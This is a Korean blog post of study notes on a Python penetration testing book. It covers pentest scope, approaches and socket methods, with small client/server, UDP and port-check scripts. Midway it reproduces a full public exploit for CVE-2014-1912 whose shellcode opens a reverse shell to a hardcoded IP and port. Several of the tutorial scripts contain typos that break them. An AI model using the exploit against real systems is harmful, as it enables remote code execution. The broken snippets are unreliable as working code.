본문 바로가기

Programming/Python

Python Pentration Testing Essentials -1-

반응형



돈이 없어서 구글링으로 구한 pdf 파일..


해석하면서 정리했다. 



침투 테스터와 해킹은 비슷한 단어다. 침투 테스터는 해킹을 막는 다는점에서, 해커는 명성과 돈을위해 취약점을 팔거나, 취약점을 이용하는 점에서 다르다.

잘 훈련된 해커들은 시스템을 해킹하고, 버그를 고치는 정보보안분야의 직업을 갖는다. 기업의 시스템을 보호하는 그들은 침투테스터라 불릴 수 있고, 그들은 네트워크를 뚫고자 합법적인 승인아래 해킹을 시도하고, 고객에게 리포트를 제출한다.

침투테스트의 전문가가 되고자 하면,  그들의 기술의 깊은 깨달음을 가져야한다.


Topic : 
•The scope of pentesting
• The need for pentesting
• Components to be tested
• Qualities of a good pentester
• Approaches of pentesting
• Understanding the tests and tools you'll need
• Network sockets
• Server socket methods
• Client socket methods
• General socket methods
• Practical examples of sockets
• Socket exceptions
• Useful socket methods


1. 침투테스트의 시작
  - 회사의 정보보안수준을 측정
  - 네트워크, 데이터베이스, 웹사이트, public서버, 보안 정책, 고객의 특정 요구사항
  - 침투테스터는 고객에게 회사 구조의 취약점을 결과로 제출하고, 위험 레벨별로 특정 취약점을 나타내고, 각 위험에 대한 솔루션을 가능한 제공해야 함.

2. 침투테스트의 필요성
  - 기업의 무결성을 노출시킬 수 있는 위협을 식별
  - 전문적인 침투테스트는 기업에게 완벽하고 세부적인 보안 평가를 통해 보증성을 제공
  - 네트워크 장비의 효용성을 체크할 수 있음 (트래픽 발생을 통해)
  -  취약점 발견은 소프트웨어, 하드웨어 네트워크 디자인의 인프라 업그레이드, 변경을 야기할 수 있음.
  - 잠재된 위협은 계속 증가함.
  - 침투테스트는 보안정책이 적합한지 아닌ㄴ지를 검증함.

3. 테스트를 해야할 요소
 *  기업은 침투테스트 전에 위협평가를 꼭 수행해야함. 이는 주요 위협을 식별하는데 도움을 줌. (예로, 잘못된 설정, 그의 취약점)
-  Routers, switches, pr gateways
- Public-facing sytems; websites, DMZ, e-mail servers, and remote systems, DNS, firewalls, proxy servers FTP, and web servers
* 테스팅은 네트워크안 모든 하드웨어와 소프트웨어 요소에 수행 되어야함.

4. 좋은 테스터의 자질
 - 이익과 비용에 맞춘 적합한 툴과 테스트를 선택
 - 문서와 계획된 절차에 맞춰 진행
 - 절차의 정의, 제한, 목표와 같은 침투테스트의 범위를 설립
 - 취약점을 어떻게 보여줄지 준비
 - 잠재된 위협과 결과를 명백히 기술하고, 위험을 줄일 방법을 가능한 제공
 - 기술이 빨리 진보하는 점에서, 계속 업데이트 해야함

5. 침투테스트의 범위정의
 - 고객과의 프로젝트의 범위를 정해야함.
 - 시간 사람 돈을 고려
 - 고객과 침투테스터 간의 테스트 범위에 대한 동의를 프로파일해야함
 -  비즈니스 관행이 범위에 영향을 줌.
 - 비파괴적인 테스트
   가. 원격 시스템의 잠재적 취약점 스캔, 식별
   나.  결과를 조사하고 검증
   다. 취약점 맵 작성
   라. 시스템 붕괴를 막는 선에서 이용
   마. 개념의 증명
   바. DoS Attack 금지.
 - 파괴적 테스트
   가. DoS Attack, buffer overflow 등 시스템 다운을 야기할 수 있는 공격 가능.

6. 침투 테스트 접근
 - Black-box 테스트 (결정론적인 접근이 아님)
  기업 이름만 알고 마치 외부의 해커가 접근하는 방식으로 해킹
 - White-box  테스트 (결정론적인 접근)
      테스트하는 기업의 구조를 알고, 악의적인 내부자가 해킹하는것과 마찬가지
- Gray-box 테스트 (hybrid 접근)
  대상 네트워크의 제한적인 정보를 가지고, 고객에게는 적은 비용과, 적은 시도, 침투테스터의 적은 오류를 제공함.

7. Network Socket
 a = socket.socket (socket_family, socket_type, protocol=0)

socket_family : socket.AF_INET, PF_PACKET
AF_INET는 IPv4에 해당함.
PF_PACKETD는 리눅스를 위한 pcap library, 스니핑에 이용

socket_type : socket.SOCK_DGRAM, socket.SOCK_RAM, socket.SOCK_STREAM
SOCK_DGRAM는 UDP 
socket.SOCK_STREAM은 TCP
socket.SOCK_RAW는 스니핑에서 이용

protocol : 스니핑에 이용 특별한게없으면 0으로 설정.

8. Server socket methods

socket.bind(address) :  IP 주소와 포트 넘버로 연결. 소켓은 반드시 주소로 연결 이전에 열려있어야함.

socket.listen(q) : TCP 리스너 q는 Connection의 라인업 넘버

socket.accept() : 클라이언트로 부터 연결을 수락하는 메소드 이메소드를 사용하기전에 bind와 listen을 반드시 사용해야함. 

9. Client socket methods

socket.connect(address) : 클라이언트가 서버에 연결할때 사용하는 메소드 address는 서버의 주소.

일반적인 소켓 메소드들

socket.recv(bufsize) : TCP 메세지를 받는 메소드.
socket.recvfrom(bufsize) :  한쌍의 값을 되돌려주며, 첫번째 값은 받은 데이터, 두번째 값은 데이터를 보낸 소켓의 주소.
socket.recv_into(buffer) : 버퍼보다 적게 받거나 동등하게 데이터를 받음, 버퍼 파라미터는 bytearray()로 만들어짐.
socket.recvfrom_into(buffer) : 소켓에서 데이터를 얻어 버퍼에 쓴다. (nbytes, address)쌍을 리턴.
 *주의할 것은 recvfrom_into(buffer) 메소드는 이전 버전에서 버퍼 오버플로우 취약점이 있다. (CVE-2014-1912)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python
 
'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912
 
 
 
socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder
 
TODO: rop to evade stack nx
 
 
(gdb) x/i $eip
=> 0x817bb28:    mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
   0x817bb2b:   test   BYTE PTR [eax+0x55],0x40
   0x817bb2f:   jne    0x817bb38 -->
   ...
   0x817bb38:   mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
   0x817bb3e:   test   eax,eax
   0x817bb40:   jne    0x817bb58 -->
   ...
   0x817bb58:   mov    DWORD PTR [esp],ebx
   0x817bb5b:   call   eax <--------------------- indirect fucktion call ;)
 
 
$ ./pyrecvfrominto.py
    egg file generated
 
$ cat egg | nc -l 8080 -vv
 
... when client connects ... or wen we send the evil buffer to the server ...
 
0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c:    int3                <--------- LANDED!!!!!
   0x838591d:   xor    eax,eax
   0x838591f:   xor    ebx,ebx
   0x8385921:   xor    ecx,ecx
   0x8385923:   xor    edx,edx
 
'''
 
import struct
 
def off(o):
    return struct.pack('L',o)
 
 
reverseIP = '\xc0\xa8\x04\x34'   #'\xc0\xa8\x01\x0a'
reversePort = '\x7a\x69'
 
 
#shellcode from exploit-db.com, (remove the sigtrap)
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
            "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
            "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
            "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
            reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
            "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
            "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
            "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
            "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
            "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
            "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
            "\x80"
 
 
shellcode_sz = len(shellcode)
 
print 'shellcode sz %d' % shellcode_sz
 
 
ebx =  0x08385908
sc_off = 0x08385908+20
 
padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'
 
'''          
        +------------+----------------------+         +--------------------+
        |            |                      |         |                    |
        V            |                      |         V                    |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed ;)
 
 
print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)



 *socket.recvfrom_into 함수는 파이썬 2.5 2.7.7,3x의 Modules/socketmodule.c 원격실행 코드 취약점이 있음.
socket.send(bytes) : 소켓을 이용해 데이터를 보낼때 사용. 보내기전 연결이 보장되어야함. 보내고나서 보낸 바이트수를 리턴.
socket.sendto(data, address) : 소켓을 이용해 데이터를 보낼때 사용. 일반적으로 UDP 비연결 프로토콜을 사용할 때, 통신 상대와 연결이 되어있지 않아도 되며, 통신 상대의 특정 주소를 address 로 가져간다. 보낸 바이트의 수를 리턴 한다.
socket.sendall(data) : 이름이 의미하듯 모든 데이터를 소켓으로 보낸다. 연결전에 통신 상대와 소켓이 연결되어 있어야 하며, 에러가 발생하기 전까지 전송한다. 에러가 보이면 에외처리를 시키며 socket.close() 메소드가 실행되어 소켓이 닫힌다.


# server1.py
# 서버사이드 프로그램이며 클라이언트와 연결을 맺고 메시지를 전송하는 기능.
import socket
host = "192.168.0.1" #Server address
port = 12345 #Port of Server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()


# client1.py
import socket
s = socket.socket(socket.AF_INET,  socket.SOCK_STREAM)
host = "192.168.0.1"
 # 서버 주소
port = 12345 # 서버 포트
s.connect((host,port))
print s.recv(1024)
s.send("Hello Server")
s.close()




# server2.py
import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
while True:
     conn, addr = s.accept()
     print addr, "Now Connected"
     conn.send("Thank you for connecting")
     conn.close()
# While은 서버가 많은 클라이언트를 상대할 수 있게 프로그램을 유지시켜준다.

#bytearray 는 0부터 255 unsigned 정수의 상호적 시퀀스다. 삭제 삽입 변경이 값자체 슬라이스로 잘라서도 가능하다.
bytearray의 객체는 bytearray에 내장되어있는 배열 로 불러와질 수 있다.
 bytearray([source[, encoding[.errors]]])
 m = bytearray(*Mohit Mohit*)
>>> m[1]
111
>>> m[0]
77
>>> m[:5] = "Hello"
>>> m
bytearray(b'Hello Mohit')

# splitting 명령의 bytearray() 적용
>>> m = bytearray("Hello Mohit")
>>>m
bytearray(b'Hello Mohit')
>>>m.split()
[bytearray(b'Hello'), bytearray(b'Mohit')]

# append명령의 bytearray() 적용
>>> m.append(33)
>>> m
bytearray(b'Hello Mohit:')
>>> bytearray(b'Hello World:')



# server3.py

import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, prort))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
conn.send("Thanks")
conn.close()



# client3.py
import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
buf = bytearray("-" * 30) # 버퍼 생성
print "Number of Byte ",s.recv_into(buf)
print buf
s.close



#UDP.socket
#udp1.py

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socekt.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
data, addr = s.recvfrom(1024)
print *received from *,addr
print *obtained ", data
s.close()
 # socket.SOCK_DGRAM 은 UDP 소켓을 만들고 data, addr =s.recvfrom(1024) 두가지를 리턴 시킨다.



#udp2.py

import socket
host = "192.168.0.1"
port = 12346
s = socoket.socket(socket.AF_INET, socket.SOCK_DGRAM)
prints.sendto("hello all", (host,port))
s.close()
# 연결을 Establish 할 필요가 없음



* socket.settimeout(value)
     서버는 운영중이나 클라이언트의 연결이 없을 때를 가정하면 서버는 계속 리슨 상태에 있을것이고, 이부분을 없애주기위해 이 메소드를 사용한다. 이 메소드의 value에 5를 주면 5초동안, 완전히 명령어가 수행되지 않으면 timeout exception을 일으킨다. 또한, value로 부동 소수점값을 쓸 수 있다. 그에 대한 예시는 아래다.

#udptime1.py
import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from", addr
print "obtained ", data
s.close()




*Socket exceptions (소켓예외들)

#udptime2.py

import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, sock.SOCK_DGRAM)
try:
     s.bind((host,port))
     s.settimeout(5)
     data, addr = s.recvfrom(1024)
     print "recevied from ",addr
     print "obtained ", data
     s.close()

except socket.timeout :
     print "Client not connected"
     s.close()

*Python's socket library의 다른 에러들.
     exception socket.herror: address-related 에러
     exception socket.timeout: 소켓에서 타임아웃이 발생했으 때 일어남.
     exception socket.gaierror: getaddrinfo() 와 getnameinfo() 를 사용할때 예외를 받는다.
     exception socket.error: 소켓관련 에러를 받는다.



10. 유용한 소켓 메소드들
 정보를 모으기 유용한 소켓 메소드들을 제공한다.
socket.gethostbyname(hostname) --> hostname을  IPv4의 의 주소 포맷으로 바꿈. 주소는 스트링 형태로 리턴됨
import socket
socket.gethostbyname('thaper.edu')
'220.227.15.55'

socket.gethostbyname('google.com')
'173.194.126.64'
 *nslookup과 유사하다.




socket.gethostbyname_ex(name) --> hostname을 IPv4주소 패턴으로 변환해준다. 이 메소드는 튜플의 형태로 리턴해준다. (hostname, canonical name,and IP_addrlist), IPv6 주소체계에서는 작동하지 않는다. 튜플, 리스트, 딕셔너리로 자료를 흭득할 수있다.



socket.gethostbyname_ex('thapar.edu')
('thapar.edu', [], (1'14.139.242.100', '220.227.15.55'])
socket.gethostbyname_ex('google.com')
('google.com', [] ,['173.194.36.64','173.194.36.71','173....
.
.
.. '173.194.36.67'])



socket.gethostname(): --> 현재 파이썬 인터프리터가 작동하는 시스템의 호스트네임을 리턴시킨다.
socket.gethostname()
'eXtreme'

* 응용
socket.gethostbyname(socket.gethostname())
'192.168.10.1'



* 컴퓨터에 많은 인터페이스가 있을 경우 모든 인터페이스의 주소를 출력해준다.
 socket.gethostbyname_ex(socket.gethostname())
('eXtreme', [], ['10.0.010', '192.168.10.1', '192.168.0.1'])
 --> 첫번째는 머신 이름, 두분쨰는 호스트네임의 약칭(aliases), 세번째는 인터페이스들의 아이피 주소다.

     socket.getfqdn([name]): 도메인 네임의 fully qualified domain name 을 얻고싶을때 사용.
ex) beta는 호스트네임 example.com는 도메인 네임일때, fqdn은 beta.example.com이된다.
socket.getfqdn('facebook.com')
'edge-star-shv-12-frc3.facebook.com'



socket.gethostbyaddr(ip_address) : reverse lookup과 같게 주소를 인풋으로 해당 네임을 출력해준다.  리턴값으로 튜플(hostname, canonical name, IP_addr리스트)를 줌

socket.gethostbyaddr('173.194.36.71')
('de101s06-in-f7.le100.net', [] , ['173.194.36.71'])
 * 없는 호스트네임은 오류가 뜬다.



socket.getservbyname(servicename[, protocol_name]):  프로토콜 네임에 일치하는 포트넘버로 바꾸어준다. 프로토콜이름은 TCP, UDP 중 선택하면된다.

import socket
socket.getservbyname('http')
80
socket.getservbyname('smtp','tcp')
25



socket.getservbyport(port[, protocol_name]): 포트넘버를 통해 서비스네임을 알 수 있는 메소드
socket.getservbyport(80)
'http'
socket.getservbyport(23)
'telnet'
socket.getservbyport(445)
'microsoft-ds'



socket.connect_ex(address) : 에러 indicator를 리턴해주며 성공할 시에 0을 리턴, 마찬가지로 에러발생시 errno를 리턴해준다. 포트를 스캔할때 유용하다.

#connet_ex.py

import socket
rmip = '127.0.0.1'
portlist = [22,23,80,912,135,445,20]

for port in portlist:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
reulst = sock.connect_ex((rmip,port))
print prot,":",result
sock.close()



socket.getaddrinfo(host, port,[, family[,socktype[,proto[,flags]]]])

import socket
socket.getaddrinfo('www.thapar.edu', 'http')
[(2, 1, 0, '', ('220.227.15.47', 80)), (2, 1, 0, '', ('14.139.242,100', 80))]
2는 패밀리, 1은 소켓 타입, 0은 프로토콜을 나타내며, canonical name (addr, port)는 2socket 주소를 나타낸다. 

import socket
def get_protnumver(prefix):
     return dict((getattr(socket, a), a)
          for a in dir(socket)
               if a.startswith(prefix))
proto_fam = ge_protnumber('AF_')
types = get_protnumber('SCOK_')
protocols = get_protnumber('IPPROTO_')

for res in socket.getaddrinfo('www.thapar.edu', 'http'):
     family, socktype, proto, canonname, sockaddr = res

     print 'Family               :', proto_fam[family]
     print 'Type                  :',types[socktype]
     print 'Protocol           :',protocols[proto]
     print 'Canonical name:', canonname
     print 'Socket address:'. sockaddr



dict((getattr(socket,n),n) for n in dir(socket) if n.startswitch('AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6:'AF_IPX', 11: 'AF_SNA', 12:' AF_DECnet', 16: 'AF_APPLETALK', 23: 'AF_INET6', 26:'AF_IRDA'}
     for res in socket.getaddrinfo('www.thapar.edu', 'http'):





[Mohit]_Python_Penetration_Testing_Essentials_Emp(BookZZ.org).pdf


여기까지가 1장의 내용이고 2장은 네트워크 스캔으로 시작한다.

반응형